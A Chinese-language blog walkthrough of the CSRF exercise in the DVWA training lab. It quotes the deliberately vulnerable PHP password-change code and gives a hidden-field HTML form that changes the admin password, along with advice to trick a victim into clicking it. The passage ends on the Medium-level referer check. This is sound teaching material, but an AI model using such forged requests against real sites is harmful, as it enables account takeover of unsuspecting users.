2. DVWA亲测CSRF漏洞

时间：2018-05-24 18:57:41 阅读：199 评论：0 收藏：0 [点我收藏+]

标签：doctype upd ade image psu 漏洞开始 ble 字符串

技术分享图片

DVWA登陆用户名：admin 密码：password

Low级：

查看源代码：

<?php   
                   
    if (isset($_GET[‘Change‘])) {   
       
        // Turn requests into variables   
        $pass_new = $_GET[‘password_new‘];   
        $pass_conf = $_GET[‘password_conf‘];   
  
  
        if (($pass_new == $pass_conf)){   
            $pass_new = mysql_real_escape_string($pass_new);   
            $pass_new = md5($pass_new);   
  
            $insert="UPDATE `users` SET password = ‘$pass_new‘ WHERE user = ‘admin‘;";   
            $result=mysql_query($insert) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ );   
                           
            echo "<pre> Password Changed </pre>";           
            mysql_close();   
        }   
       
        else{           
            echo "<pre> Passwords did not match. </pre>";               
        }   
  
    }   
?>

首先获取输入的两个密码然后判断两个值是否相等，若相等则接着对pass_new变量进行调用mysql_real_escape_string()函数来进行字符串的过滤、再调用md5()函数对输入的密码进行MD5加密，最后再将新密码更新到数据库中。整段代码因为调用了mysql_real_escape_string()函数从而有效地过滤了SQL注入，但是对CSRF没有任何的防御机制。

进入相应的页面可以看到提示直接输入新密码以及确认新密码的两项输入进行更改密码的操作而不需要重新确认一遍当前的密码：

这时我们先尝试输入 test test ,来看一下页面效果：

技术分享图片

发现密码修改成功，我们来分析一下过程:

我们用burpsuite来抓包查看：

我们伪造一个网址发给受害者，如果受害者在访问DVWA，只要受害者点击网址，密码就会发生改变

但是这样的网址太显眼，我们需要进一步的装饰伪造

<!DOCTYPE html>
<html>
<body>
    <form action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="hacker">
        <input type="hidden" name="password_conf" value="hacker">
        <input type="hidden" name="Change" value="Change">
        <input type="submit" value="Click Me">
    </form>
</body>
</html>

技术分享图片

把这个html 文件发给受害者，诱骗受害者点击

点击后直接出现：

技术分享图片

密码修改成功

Medium级：

Medium级的修改密码的界面还是和Low级的一样，不需要进行身份认证即输入当前的密码

<?php   
               
    if (isset($_GET[‘Change‘])) {   
       
        // Checks the http referer header   
        if ( eregi ( "127.0.0.1", $_SERVER[‘HTTP_REFERER‘] ) ){   
       
            // Turn requests into variables   
            $pass_new = $_GET[‘password_new‘];   
            $pass_conf = $_GET[‘password_conf‘];   
  
            if ($pass_new == $pass_conf){   
                $pass_new = mysql_real_escape_string($pass_new);   
                $pass_new = md5($pass_new);   
  
                $insert="UPDATE `users` SET password = ‘$pass_new‘ WHERE user = ‘admin‘;";  
                $result=mysql_query($insert) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ );   
                           
                echo "<pre> Password Changed </pre>";           
                mysql_close();   
            }   
       
            else{           
                echo "<pre> Passwords did not match. </pre>";               
            }       
  
        }   
           
    }   
?> 